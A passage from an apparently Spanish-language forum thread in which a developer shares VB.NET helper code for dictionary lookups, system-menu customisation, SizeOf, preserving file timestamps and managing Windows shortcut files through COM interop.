' [ Find Dictionary Value ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Find_Dictionary_Value(
' New Dictionary(Of Integer, String) From {{1, "ABC"}},
' "abc", True, StringComparison.CurrentCultureIgnoreCase))
Private Function Find_Dictionary_Value(Of K)(
ByVal Dictionary As Dictionary(Of K, String),
ByVal Value As String,
ByVal MatchWholeWord As Boolean,
ByVal IgnoreCase As StringComparison) As Boolean
If MatchWholeWord Then
Return (From kp As KeyValuePair(Of K, String) In Dictionary
Where String.Compare(kp.Value, Value, IgnoreCase) = 0).Any
Else
Return (From kp As KeyValuePair(Of K, String) In Dictionary
Where kp.Value.IndexOf(Value, 0, IgnoreCase) > -1).Any
End If
End Function
#End Region
Devuelve True si se encuentra alguna ocurrencia de una Key en un Diccionario.
#Region " Find Dictionary Key "
' [ Find Dictionary Key ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Find_Dictionary_Key(
' New Dictionary(Of String, Integer) From {{"ABC", 1}},
' "abc", True, StringComparison.CurrentCultureIgnoreCase))
Private Function Find_Dictionary_Key(Of V)(
ByVal Dictionary As Dictionary(Of String, V),
ByVal Key As String,
ByVal MatchWholeWord As Boolean,
ByVal IgnoreCase As StringComparison) As Boolean
If MatchWholeWord Then
Return (From kp As KeyValuePair(Of String, V) In Dictionary
Where String.Compare(kp.Key, Key, IgnoreCase) = 0).Any
Else
Return (From kp As KeyValuePair(Of String, V) In Dictionary
Where kp.Key.IndexOf(Key, 0, IgnoreCase) > -1).Any
End If
End Function
#End Region
Quiero compartir con ustedes este SystemMenu Manager, como su nombre indica, es un ayudante para manejar el SystemMenu, le añadi infinidad de métodos y el uso de eventos para manejar de forma sencilla los items que agreguemos... además lo he documentado todo muy bien, aunque me he dejado bastantes comentarios XML (es bastante tedioso), a pesar de las 1.600 lineas de código, aun le faltaría añadir bastantes métodos más, pero bueno, por el momento así está muy bien, espero que lo disfruten.
Unas imágenes:
(http://img24.imageshack.us/img24/1007/2a8d.png) (http://img59.imageshack.us/img59/6943/cg88.png)
(http://img708.imageshack.us/img708/5936/tu5f.png) (http://img18.imageshack.us/img18/5664/sk6g.png)
(http://img577.imageshack.us/img577/3866/72s0.png)
Un ejemplo de uso:
( Nótese que todos los métodos tienen su overload para utilizar una posición de item en lugar de un item predefinido. )
Public Class Form1
Private WithEvents SystemMenu As New SystemMenuManager(Me)
Private Shadows Sub Shown() Handles MyBase.Shown
' Gets the total amount of menu items.
' MsgBox(SystemMenu.GetItemCount())
' Sets the menu background color.
SystemMenu.SetMenuBackColor(Color.Teal)
' Sets the menu style.
' SystemMenu.SetMenuStyle(SystemMenuManager.MenuStyle.AUTODISMIS)
' Sets the state of the Close button and menu item.
' SystemMenu.SetItemState(SystemMenuManager.Item.Close, SystemMenuManager.ItemState.Disabled)
' Sets the Bitmap image of the Move menu item.
' SystemMenu.SetItemBitmap(SystemMenuManager.Item.Move, New Bitmap("C:\File.png"))
' Gets the Bitmap image of the Move menu item.
' Dim bmp As Bitmap = SystemMenu.GetItemBitmap(SystemMenuManager.Item.Move)
' Removes the Bitmap image of the Move menu item.
' SystemMenu.RemoveItemBitmap(SystemMenuManager.Item.Move)
' Adds a separator at the bottom.
SystemMenu.AddSeparator(SystemMenuManager.DefaultPositions.Last)
' Adds an item at the bottom.
SystemMenu.AddItem("Hello World!", 666, SystemMenuManager.DefaultPositions.Last)
' Gets the ID of an item.
' MsgBox(SystemMenu.GetItemState(SystemMenuManager.Item.Move).ToString)
' Gets the text of an item.
' MsgBox(SystemMenu.GetItemText(SystemMenuManager.Item.Move))
' Gets the state of an item.
' MsgBox(SystemMenu.GetItemState(SystemMenuManager.Item.Move).ToString)
' Sets the text of an item.
' SystemMenu.SetItemText(SystemMenuManager.Item.Move, "Muéveme")
' Checks if a handle is a menu handle.
' MsgBox(SystemMenu.IsMenuHandle(IntPtr.Zero))
' Disable all the menu items.
' SystemMenu.DisableAllItems()
' Re-enable all the menu items.
' SystemMenu.EnableAllItems()
' Remove all the menu items.
' SystemMenu.RemoveAllItems()
' Restore the menu to defaults.
' SystemMenu.Restore_Menu()
' Dispose the SystemMenuManager Object.
' SystemMenu.Dispose()
End Sub
' SystemMenu [MenuItemClicked]
Private Sub SystemMenu_MenuItemClicked(
ByVal MenuHandle As IntPtr,
ByVal e As SystemMenuManager.ItemClickedEventArgs
) Handles SystemMenu.ItemClicked
Dim sr As New System.Text.StringBuilder
sr.AppendLine(String.Format("Item ID : {0}", CStr(e.ID)))
sr.AppendLine(String.Format("Item Text : {0}", e.Text))
sr.AppendLine(String.Format("Item Type : {0}", e.Type.ToString))
sr.AppendLine(String.Format("Item State: {0}", e.State.ToString))
MessageBox.Show(sr.ToString, "SystemMenuManager", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
End Class
La Class la pueden ver en ESTE (http://pastebin.com/MKVkTjWz)enlace de pastebin (no cabe en este post).
El equivalente al sizeof de C#:
#Region " SizeOf "
' [ SizeOf ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(SizeOf(1L)) ' Result: 8
' MsgBox(SizeOf(Of Long)) ' Result: 8
Public Function SizeOf(Of T)() As Integer
Try
Return System.Runtime.InteropServices.Marshal.SizeOf(GetType(T))
Catch ex As ArgumentException
Return -1
End Try
End Function
Public Function SizeOf(ByVal [Object] As Object) As Integer
Try
Return System.Runtime.InteropServices.Marshal.SizeOf([Object])
Catch ex As ArgumentNullException
Return -1
Catch ex As ArgumentException
Return -1
End Try
End Function
#End Region
Una forma sencilla de obtener el HBitmap de una imagen no Bitmap (util para añadirlo a un módulo de extensiones)...
Dim Hbitmap As IntPtr = CType(PictureBox1.Image, Bitmap).GetHbitmap()
PictureBox2.BackgroundImage = Image.FromHbitmap(Hbitmap)
Private Function Get_Image_HBitmap(ByVal Image As Image) As IntPtr
Return CType(Image, Bitmap).GetHbitmap()
End Function
Un pequeño código para facilitar la tarea de preservar las fechas de un archivo, por ejemplo cuando se modifica el texto de un archivo, o cuando se convierte un archivo de audio (al mismo u otro formato).
El modo de empleo es muy sencillo:
FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save)
IO.File.AppendAllText("C:\File.txt", "Hello World!")
FileDate.Action("C:\File.txt", FileDate.FileDateAction.Restore)
O bien:
FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save, False)
IO.File.AppendAllText("C:\File.txt", "Hello World!")
IO.File.Move("C:\File.txt", "C:\File.log")
FileDate.Action(New IO.FileInfo("C:\File.log"), FileDate.FileDateAction.Restore, False)
#Region " Preserve FileDate "
' [ Preserve FileDate ]
'
' // By Elektro H@cker
'
' Usage Examples:
' // Example 1:
'
' FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save)
' IO.File.AppendAllText("C:\File.txt", "Hello World!")
' FileDate.Action("C:\File.txt", FileDate.FileDateAction.Restore)
' // Example 2:
'
' FileDate.Action("C:\File.txt", FileDate.FileDateAction.Save, False)
' IO.File.AppendAllText("C:\File.txt", "Hello World!")
' IO.File.Move("C:\File.txt", "C:\File.log")
' FileDate.Action(New IO.FileInfo("C:\File.log"), FileDate.FileDateAction.Restore, False)
Public Class FileDate
''' <summary>
''' Collection that contains the files and their dates.
''' </summary>
Private Shared FileDates As New Dictionary(Of String, Date())
''' <summary>
''' Stores the File object.
''' </summary>
Private Shared _File As IO.FileInfo
''' <summary>
''' Stores the full path of the file
''' </summary>
Private Shared FullPath As String
''' <summary>
''' An action to take on file dates.
''' </summary>
Public Enum FileDateAction As Short
''' <summary>
''' Save file dates into filedates collection.
''' </summary>
Save = 0
''' <summary>
''' Restore file dates from filedates collection.
''' </summary>
Restore = 1
''' <summary>
''' Remove file dates from filedates collection,
''' this don't removes the dates from file.
''' </summary>
Remove = 2
''' <summary>
''' Sets the file dates of specified file to "01/01/1800 00:00:00"
''' </summary>
Truncate = 3
End Enum
''' <summary>
''' Performs an action on the dates of the specified file,
''' Creation Date, LastAccess Date and LastWrite Date.
''' </summary>
''' <param name="File">
''' The File.
''' </param>
''' <param name="Action">
''' The action to take on file dates.
''' </param>
''' <param name="IncludeFileExtension">
''' Specifies if that the filename extension should be included or not.
''' Default value is <paramref name="True"/>.
''' This parameter should be set to <paramref name="False"/> when renaming files.
''' </param>
Public Shared Sub Action(ByVal File As IO.FileInfo,
ByVal Action As FileDateAction,
Optional ByVal IncludeFileExtension As Boolean = True)
_File = File
DoFileDateAction(_File, Action, IncludeFileExtension)
End Sub
''' <summary>
''' Performs an action on the dates of the specified file,
''' Creation Date, LastAccess Date and LastWrite Date.
''' </summary>
''' <param name="File">
''' The File.
''' </param>
''' <param name="Action">
''' The action to take on file dates.
''' </param>
''' <param name="IncludeFileExtension">
''' Specifies if that the filename extension should be included or not.
''' Default value is <paramref name="True"/>.
''' This parameter should be set to <paramref name="False"/> when renaming files.
''' </param>
Public Shared Sub Action(ByVal File As String,
ByVal Action As FileDateAction,
Optional ByVal IncludeFileExtension As Boolean = True)
_File = New IO.FileInfo(File)
DoFileDateAction(_File, Action, IncludeFileExtension)
End Sub
''' <summary>
''' Clears all the dates stored in the filedates collection.
''' </summary>
Public Shared Sub ClearFileDateCollection()
FileDates.Clear()
End Sub
''' <summary>
''' Perform an action to take on file dates.
''' </summary>
Private Shared Sub DoFileDateAction(ByVal File As IO.FileInfo,
ByVal Action As FileDateAction,
ByVal IncludeFileExtension As Boolean)
FullPath = If(IncludeFileExtension,
File.FullName,
If(File.Name.Contains("."),
File.FullName.Substring(0, File.FullName.LastIndexOf(".")),
File.FullName))
HandleErrors(Action)
Select Case Action
Case FileDateAction.Save
FileDates.Add(FullPath,
{File.CreationTime, File.LastAccessTime, File.LastWriteTime})
Case FileDateAction.Restore
File.CreationTime = FileDates(FullPath).First
File.LastAccessTime = FileDates(FullPath)(1)
File.LastWriteTime = FileDates(FullPath).Last
FileDates.Remove(FullPath)
Case FileDateAction.Remove
FileDates.Remove(FullPath)
Case FileDateAction.Truncate
File.CreationTime = "01/01/1800 00:00:00"
File.LastAccessTime = "01/01/1800 00:00:00"
File.LastWriteTime = "01/01/1800 00:00:00"
End Select
End Sub
''' <summary>
''' Simple Error Handling.
''' </summary>
Private Shared Sub HandleErrors(ByVal Action As FileDateAction)
Select Case Action
Case FileDateAction.Save
If FileDates.ContainsKey(FullPath) Then
Throw New Exception("File already exist in collection.")
End If
Case FileDateAction.Restore, FileDateAction.Remove
If Not FileDates.ContainsKey(FullPath) Then
Throw New Exception("File not found in collection.")
End If
End Select
End Sub
End Class
#End Region
Mi implementación de la librería MediaInfo.dll en VBNET: http://pastebin.com/XGUwW8hQ
Shortcut Manager
Resuelve el target de shortcut "corrupto", crea un nuevo shortcut u obtiene información de un shortcut.
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO
#Region " ShortcutManager "
' [ ShortcutManager ]
'
' // By Elektro H@cker
#Region " Usage Examples "
'Private Sub Test()
' ' Tries to resolve a shortcut which has changed their Target location.
' ShortcutManager.Resolve_Ui("C:\Truncated Shortcut.lnk", New IntPtr(1))
' ShortcutManager.Resolve_NoUi("C:\Truncated Shortcut.lnk")
' ' Creates a new Shortcut file
' ShortcutManager.Create("C:\Shortcut.lnk",
' "C:\TargetFile.ext",
' "C:\",
' "Description",
' "-Arguments",
' "C:\Icon.ico", 0,
' ShortcutManager.HotkeyModifiers.ALT Or ShortcutManager.HotkeyModifiers.CONTROL,
' Keys.F1,
' ShortcutManager.ShortcutWindowState.Normal)
' ' Gets Shortcut file information
' Dim ShortcutInfo As ShortcutManager.ShortcutInfo =
' ShortcutManager.GetInfo("C:\Shortcut.lnk")
' Dim sb As New System.Text.StringBuilder
' With ShortcutInfo
' sb.AppendLine(String.Format(" ""{0}"" ", .ShortcutFile))
' sb.AppendLine(String.Format("------------------------"))
' sb.AppendLine(String.Format("Description: {0}", .Description))
' sb.AppendLine(String.Format("Target: {0}", .Target))
' sb.AppendLine(String.Format("Arguments: {0}", .Arguments))
' sb.AppendLine(String.Format("Target Is Directory?: {0}", CStr(.IsDirectory)))
' sb.AppendLine(String.Format("Target Is File?: {0}", CStr(.IsFile)))
' sb.AppendLine(String.Format("WorkingDir: {0}", .WorkingDir))
' sb.AppendLine(String.Format("DirectoryName: {0}", .DirectoryName))
' sb.AppendLine(String.Format("FileName: {0}", .FileName))
' sb.AppendLine(String.Format("FileExtension: {0}", .FileExtension))
' sb.AppendLine(String.Format("DriveLetter: {0}", .DriveLetter))
' sb.AppendLine(String.Format("Icon: {0}", .Icon))
' sb.AppendLine(String.Format("Icon Index: {0}", CStr(.IconIndex)))
' sb.AppendLine(String.Format("Hotkey (Hex): {0}", CStr(.Hotkey)))
' sb.AppendLine(String.Format("Hotkey (Str): {0} + {1}", .Hotkey_Modifier.ToString, .Hotkey_Key.ToString))
' sb.AppendLine(String.Format("Window State: {0}", .WindowState.ToString))
' End With
' MsgBox(sb.ToString)
'End Sub
#End Region
Public Class ShortcutManager
#Region " Variables "
Private Shared lnk As New ShellLink()
Private Shared lnk_data As New WIN32_FIND_DATAW()
Private Shared lnk_arguments As New StringBuilder(260)
Private Shared lnk_description As New StringBuilder(260)
Private Shared lnk_target As New StringBuilder(260)
Private Shared lnk_workingdir As New StringBuilder(260)
Private Shared lnk_iconpath As New StringBuilder(260)
Private Shared lnk_iconindex As Integer = -1
Private Shared lnk_hotkey As Short = -1
Private Shared lnk_windowstate As ShortcutWindowState = ShortcutWindowState.Normal
#End Region
#Region " API, Interfaces, Enumerations "
<DllImport("shfolder.dll",
CharSet:=CharSet.Auto)>
Friend Shared Function SHGetFolderPath(ByVal hwndOwner As IntPtr,
ByVal nFolder As Integer,
ByVal hToken As IntPtr,
ByVal dwFlags As Integer,
ByVal lpszPath As StringBuilder
) As Integer
End Function
<Flags()>
Private Enum SLGP_FLAGS
''' <summary>
''' Retrieves the standard short (8.3 format) file name.
''' </summary>
SLGP_SHORTPATH = &H1
''' <summary>
''' Retrieves the Universal Naming Convention (UNC) path name of the file.
''' </summary>
SLGP_UNCPRIORITY = &H2
''' <summary>
''' Retrieves the raw path name.
''' A raw path is something that might not exist and may include environment variables that need to be expanded.
''' </summary>
SLGP_RAWPATH = &H4
End Enum
<Flags()>
Private Enum SLR_FLAGS
''' <summary>
''' Do not display a dialog box if the link cannot be resolved. When SLR_NO_UI is set,
''' the high-order word of fFlags can be set to a time-out value that specifies the
''' maximum amount of time to be spent resolving the link. The function returns if the
''' link cannot be resolved within the time-out duration. If the high-order word is set
''' to zero, the time-out duration will be set to the default value of 3,000 milliseconds
''' (3 seconds). To specify a value, set the high word of fFlags to the desired time-out
''' duration, in milliseconds.
''' </summary>
SLR_NO_UI = &H1
''' <summary>
''' If the link object has changed, update its path and list of identifiers.
''' If SLR_UPDATE is set, you do not need to call IPersistFile::IsDirty to determine,
''' whether or not the link object has changed.
''' </summary>
SLR_UPDATE = &H4
''' <summary>
''' Do not update the link information
''' </summary>
SLR_NOUPDATE = &H8
''' <summary>
''' Do not execute the search heuristics
''' </summary>
SLR_NOSEARCH = &H10
''' <summary>
''' Do not use distributed link tracking
''' </summary>
SLR_NOTRACK = &H20
''' <summary>
''' Disable distributed link tracking.
''' By default, distributed link tracking tracks removable media,
''' across multiple devices based on the volume name.
''' It also uses the Universal Naming Convention (UNC) path to track remote file systems,
''' whose drive letter has changed.
''' Setting SLR_NOLINKINFO disables both types of tracking.
''' </summary>
SLR_NOLINKINFO = &H40
''' <summary>
''' Call the Microsoft Windows Installer
''' </summary>
SLR_INVOKE_MSI = &H80
End Enum
''' <summary>
''' Stores information about a shortcut file.
''' </summary>
Public Class ShortcutInfo
''' <summary>
''' Shortcut file full path.
''' </summary>
Public Property ShortcutFile As String
''' <summary>
''' Shortcut Comment/Description.
''' </summary>
Public Property Description As String
''' <summary>
''' Shortcut Target Arguments.
''' </summary>
Public Property Arguments As String
''' <summary>
''' Shortcut Target.
''' </summary>
Public Property Target As String
''' <summary>
''' Shortcut Working Directory.
''' </summary>
Public Property WorkingDir As String
''' <summary>
''' Shortcut Icon Location.
''' </summary>
Public Property Icon As String
''' <summary>
''' Shortcut Icon Index.
''' </summary>
Public Property IconIndex As Integer
''' <summary>
''' Shortcut Hotkey combination.
''' Is represented as Hexadecimal.
''' </summary>
Public Property Hotkey As Short
''' <summary>
''' Shortcut Hotkey modifiers.
''' </summary>
Public Property Hotkey_Modifier As HotkeyModifiers
''' <summary>
''' Shortcut Hotkey Combination.
''' </summary>
Public Property Hotkey_Key As Keys
''' <summary>
''' Shortcut Window State.
''' </summary>
Public Property WindowState As ShortcutWindowState
''' <summary>
''' Indicates if the target is a file.
''' </summary>
Public Property IsFile As Boolean
''' <summary>
''' Indicates if the target is a directory.
''' </summary>
Public Property IsDirectory As Boolean
''' <summary>
''' Shortcut target drive letter.
''' </summary>
Public Property DriveLetter As String
''' <summary>
''' Shortcut target directory name.
''' </summary>
Public Property DirectoryName As String
''' <summary>
''' Shortcut target filename.
''' (File extension is not included in name)
''' </summary>
Public Property FileName As String
''' <summary>
''' Shortcut target file extension.
''' </summary>
Public Property FileExtension As String
End Class
''' <summary>
''' Hotkey modifiers for a shortcut file.
''' </summary>
<FlagsAttribute()>
Public Enum HotkeyModifiers As Short
''' <summary>
''' The SHIFT key.
''' </summary>
SHIFT = 1
''' <summary>
''' The CTRL key.
''' </summary>
CONTROL = 2
''' <summary>
''' The ALT key.
''' </summary>
ALT = 4
''' <summary>
''' None.
''' Specifies any hotkey modificator.
''' </summary>
NONE = 0
End Enum
''' <summary>
''' The Window States for a shortcut file.
''' </summary>
Public Enum ShortcutWindowState As Integer
''' <summary>
''' Shortcut Window is at normal state.
''' </summary>
Normal = 1
''' <summary>
''' Shortcut Window is Maximized.
''' </summary>
Maximized = 3
''' <summary>
''' Shortcut Window is Minimized.
''' </summary>
Minimized = 7
End Enum
<StructLayout(LayoutKind.Sequential,
CharSet:=CharSet.Auto)>
Private Structure WIN32_FIND_DATAW
Public dwFileAttributes As UInteger
Public ftCreationTime As Long
Public ftLastAccessTime As Long
Public ftLastWriteTime As Long
Public nFileSizeHigh As UInteger
Public nFileSizeLow As UInteger
Public dwReserved0 As UInteger
Public dwReserved1 As UInteger
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=260)>
Public cFileName As String
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=14)>
Public cAlternateFileName As String
End Structure
''' <summary>
''' The IShellLink interface allows Shell links to be created, modified, and resolved
''' </summary>
<ComImport(),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown),
Guid("000214F9-0000-0000-C000-000000000046")>
Private Interface IShellLinkW
''' <summary>
''' Retrieves the path and file name of a Shell link object.
''' </summary>
Sub GetPath(<Out(), MarshalAs(UnmanagedType.LPWStr)>
ByVal pszFile As StringBuilder,
ByVal cchMaxPath As Integer,
ByRef pfd As WIN32_FIND_DATAW,
ByVal fFlags As SLGP_FLAGS)
''' <summary>
''' Retrieves the list of item identifiers for a Shell link object.
''' </summary>
Sub GetIDList(ByRef ppidl As IntPtr)
''' <summary>
''' Sets the pointer to an item identifier list (PIDL) for a Shell link object.
''' </summary>
Sub SetIDList(ByVal pidl As IntPtr)
''' <summary>
''' Retrieves the description string for a Shell link object.
''' </summary>
Sub GetDescription(<Out(), MarshalAs(UnmanagedType.LPWStr)>
ByVal pszName As StringBuilder,
ByVal cchMaxName As Integer)
''' <summary>
''' Sets the description for a Shell link object.
''' The description can be any application-defined string.
''' </summary>
Sub SetDescription(<MarshalAs(UnmanagedType.LPWStr)>
ByVal pszName As String)
''' <summary>
''' Retrieves the name of the working directory for a Shell link object.
''' </summary>
Sub GetWorkingDirectory(<Out(), MarshalAs(UnmanagedType.LPWStr)>
ByVal pszDir As StringBuilder,
ByVal cchMaxPath As Integer)
''' <summary>
''' Sets the name of the working directory for a Shell link object.
''' </summary>
Sub SetWorkingDirectory(<MarshalAs(UnmanagedType.LPWStr)>
ByVal pszDir As String)
''' <summary>
''' Retrieves the command-line arguments associated with a Shell link object.
''' </summary>
Sub GetArguments(<Out(), MarshalAs(UnmanagedType.LPWStr)>
ByVal pszArgs As StringBuilder,
ByVal cchMaxPath As Integer)
''' <summary>
''' Sets the command-line arguments for a Shell link object.
''' </summary>
Sub SetArguments(<MarshalAs(UnmanagedType.LPWStr)>
ByVal pszArgs As String)
''' <summary>
''' Retrieves the hot key for a Shell link object.
''' </summary>
Sub GetHotkey(ByRef pwHotkey As Short)
''' <summary>
''' Sets a hot key for a Shell link object.
''' </summary>
Sub SetHotkey(ByVal wHotkey As Short)
''' <summary>
''' Retrieves the show command for a Shell link object.
''' </summary>
Sub GetShowCmd(ByRef piShowCmd As Integer)
''' <summary>
''' Sets the show command for a Shell link object.
''' The show command sets the initial show state of the window.
''' </summary>
Sub SetShowCmd(ByVal iShowCmd As ShortcutWindowState)
''' <summary>
''' Retrieves the location (path and index) of the icon for a Shell link object.
''' </summary>
Sub GetIconLocation(<Out(), MarshalAs(UnmanagedType.LPWStr)>
ByVal pszIconPath As StringBuilder,
ByVal cchIconPath As Integer,
ByRef piIcon As Integer)
''' <summary>
''' Sets the location (path and index) of the icon for a Shell link object.
''' </summary>
Sub SetIconLocation(<MarshalAs(UnmanagedType.LPWStr)>
ByVal pszIconPath As String,
ByVal iIcon As Integer)
''' <summary>
''' Sets the relative path to the Shell link object.
''' </summary>
Sub SetRelativePath(<MarshalAs(UnmanagedType.LPWStr)>
ByVal pszPathRel As String,
ByVal dwReserved As Integer)
''' <summary>
''' Attempts to find the target of a Shell link,
''' even if it has been moved or renamed.
''' </summary>
Sub Resolve(ByVal hwnd As IntPtr,
ByVal fFlags As SLR_FLAGS)
''' <summary>
''' Sets the path and file name of a Shell link object
''' </summary>
Sub SetPath(ByVal pszFile As String)
End Interface
<ComImport(), Guid("0000010c-0000-0000-c000-000000000046"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
Public Interface IPersist
<PreserveSig()>
Sub GetClassID(ByRef pClassID As Guid)
End Interface
<ComImport(), Guid("0000010b-0000-0000-C000-000000000046"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)>
Public Interface IPersistFile
Inherits IPersist
Shadows Sub GetClassID(ByRef pClassID As Guid)
<PreserveSig()>
Function IsDirty() As Integer
<PreserveSig()>
Sub Load(<[In](), MarshalAs(UnmanagedType.LPWStr)>
pszFileName As String,
dwMode As UInteger)
<PreserveSig()>
Sub Save(<[In](), MarshalAs(UnmanagedType.LPWStr)>
pszFileName As String,
<[In](), MarshalAs(UnmanagedType.Bool)>
fRemember As Boolean)
<PreserveSig()>
Sub SaveCompleted(<[In](), MarshalAs(UnmanagedType.LPWStr)>
pszFileName As String)
<PreserveSig()>
Sub GetCurFile(<[In](), MarshalAs(UnmanagedType.LPWStr)>
ppszFileName As String)
End Interface
' "CLSID_ShellLink" from "ShlGuid.h"
<ComImport(),
Guid("00021401-0000-0000-C000-000000000046")>
Public Class ShellLink
End Class
#End Region
#Region " Public Methods "
''' <summary>
''' Resolves the target of a shortcut.
''' If shortcut can't be resolved, an error message would be displayed.
''' This is usefull when the target path of a shortcut file is changed from a driveletter for example,
''' then the shortcut file need to be resolved before trying to retrieve the target path.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to resolve.
''' </param>
''' <param name="hwnd">
''' The new handle pointer that would be generated
''' for the window which should display the error message (if any).
''' </param>
Public Shared Sub Resolve_Ui(ShortcutFile As String, hwnd As IntPtr)
LoadShortcut(ShortcutFile)
DirectCast(lnk, IShellLinkW).Resolve(hwnd, SLR_FLAGS.SLR_UPDATE)
End Sub
''' <summary>
''' Resolves the target of a shortcut.
''' If shortcut can't be resolved, any error message would be displayed.
''' This is usefull when the target path of a shortcut file is changed from a driveletter for example,
''' then the shortcut file need to be resolved before trying to retrieve the target path.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to resolve.
''' </param>
Public Shared Sub Resolve_NoUi(ByVal ShortcutFile As String)
LoadShortcut(ShortcutFile)
DirectCast(lnk, IShellLinkW).Resolve(IntPtr.Zero, SLR_FLAGS.SLR_UPDATE Or SLR_FLAGS.SLR_NO_UI)
End Sub
''' <summary>
''' Returns the description of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function Get_Description(ByVal ShortcutFile As String) As String
LoadShortcut(ShortcutFile)
lnk_description.Clear()
DirectCast(lnk, IShellLinkW).GetDescription(lnk_description, lnk_description.Capacity)
Return lnk_description.ToString()
End Function
''' <summary>
''' Returns the Arguments of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function Get_Arguments(ByVal ShortcutFile As String) As String
LoadShortcut(ShortcutFile)
lnk_arguments.Clear()
DirectCast(lnk, IShellLinkW).GetArguments(lnk_arguments, lnk_arguments.Capacity)
Return lnk_arguments.ToString()
End Function
''' <summary>
''' Returns the path and filename of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function Get_FullPath(ByVal ShortcutFile As String) As String
LoadShortcut(ShortcutFile)
lnk_target.Clear()
DirectCast(lnk, IShellLinkW).GetPath(lnk_target, lnk_target.Capacity, lnk_data, SLGP_FLAGS.SLGP_UNCPRIORITY)
Return lnk_target.ToString()
End Function
''' <summary>
''' Returns the working directory of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function Get_WorkingDir(ByVal ShortcutFile As String) As String
LoadShortcut(ShortcutFile)
lnk_workingdir.Clear()
DirectCast(lnk, IShellLinkW).GetWorkingDirectory(lnk_workingdir, lnk_workingdir.Capacity)
Return lnk_workingdir.ToString()
End Function
''' <summary>
''' Returns the Hotkey of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function Get_Hotkey(ByVal ShortcutFile As String) As Short
LoadShortcut(ShortcutFile)
lnk_hotkey = -1
DirectCast(lnk, IShellLinkW).GetHotkey(lnk_hotkey)
Return lnk_hotkey
End Function
''' <summary>
''' Returns the Window State of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function Get_WindowStyle(ByVal ShortcutFile As String) As ShortcutWindowState
LoadShortcut(ShortcutFile)
DirectCast(lnk, IShellLinkW).GetShowCmd(lnk_windowstate)
Return lnk_windowstate
End Function
''' <summary>
''' Returns the Icon location of a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
''' <param name="IconIndex">
''' Optional Integer type variable to store the IconIndex.
''' </param>
Public Shared Function Get_IconLocation(ByVal ShortcutFile As String,
Optional ByRef IconIndex As Integer = 0) As String
LoadShortcut(ShortcutFile)
lnk_iconpath.Clear()
DirectCast(lnk, IShellLinkW).GetIconLocation(lnk_iconpath, lnk_iconpath.Capacity, IconIndex)
Return lnk_iconpath.ToString()
End Function
''' <summary>
''' Retrieves all the information about a shortcut file.
''' </summary>
''' <param name="ShortcutFile">
''' The shortcut file to retrieve the info.
''' </param>
Public Shared Function GetInfo(ByVal ShortcutFile As String) As ShortcutInfo
' Load Shortcut
LoadShortcut(ShortcutFile)
' Clean objects
lnk_description.Clear()
lnk_arguments.Clear()
lnk_target.Clear()
lnk_workingdir.Clear()
lnk_iconpath.Clear()
lnk_hotkey = -1
lnk_iconindex = -1
' Retrieve Info
DirectCast(lnk, IShellLinkW).GetDescription(lnk_description, lnk_description.Capacity)
DirectCast(lnk, IShellLinkW).GetArguments(lnk_arguments, lnk_arguments.Capacity)
DirectCast(lnk, IShellLinkW).GetPath(lnk_target, lnk_target.Capacity, lnk_data, SLGP_FLAGS.SLGP_UNCPRIORITY)
DirectCast(lnk, IShellLinkW).GetWorkingDirectory(lnk_workingdir, lnk_workingdir.Capacity)
DirectCast(lnk, IShellLinkW).GetIconLocation(lnk_iconpath, lnk_iconpath.Capacity, lnk_iconindex)
DirectCast(lnk, IShellLinkW).GetHotkey(lnk_hotkey)
DirectCast(lnk, IShellLinkW).GetShowCmd(lnk_windowstate)
' Return Info
Return New ShortcutInfo With {
.ShortcutFile = ShortcutFile,
.Description = lnk_description.ToString,
.Arguments = lnk_arguments.ToString,
.Target = lnk_target.ToString,
.Icon = lnk_iconpath.ToString,
.IconIndex = lnk_iconindex,
.WorkingDir = lnk_workingdir.ToString,
.Hotkey = Hex(lnk_hotkey),
.Hotkey_Modifier = [Enum].Parse(GetType(HotkeyModifiers), GetHiByte(lnk_hotkey)),
.Hotkey_Key = [Enum].Parse(GetType(Keys), GetLoByte(lnk_hotkey)),
.WindowState = lnk_windowstate,
.IsFile = File.Exists(lnk_target.ToString),
.IsDirectory = Directory.Exists(lnk_target.ToString),
.DriveLetter = lnk_target.ToString.Substring(0, 1),
.DirectoryName = lnk_target.ToString.Substring(0, lnk_target.ToString.LastIndexOf("\")),
.FileName = lnk_target.ToString.Split("\").LastOrDefault.Split(".").FirstOrDefault,
.FileExtension = lnk_target.ToString.Split(".").LastOrDefault
}
End Function
''' <summary>
''' Creates a shortcut file.
''' </summary>
''' <param name="FilePath">
''' The filepath to create the shortcut.
''' </param>
''' <param name="Target">
''' The target file or directory.
''' </param>
''' <param name="WorkingDirectory">
''' The working directory os the shortcut.
''' </param>
''' <param name="Description">
''' The shortcut description.
''' </param>
''' <param name="Arguments">
''' The target file arguments.
''' This value only should be set when target is an executable file.
''' </param>
''' <param name="Icon">
''' The icon location of the shortcut.
''' </param>
''' <param name="IconIndex">
''' The icon index of the icon file.
''' </param>
''' <param name="HotKey_Modifier">
''' The hotkey modifier(s) which should be used for the hotkey combination.
''' <paramref name="HotkeyModifiers"/> can be one or more modifiers.
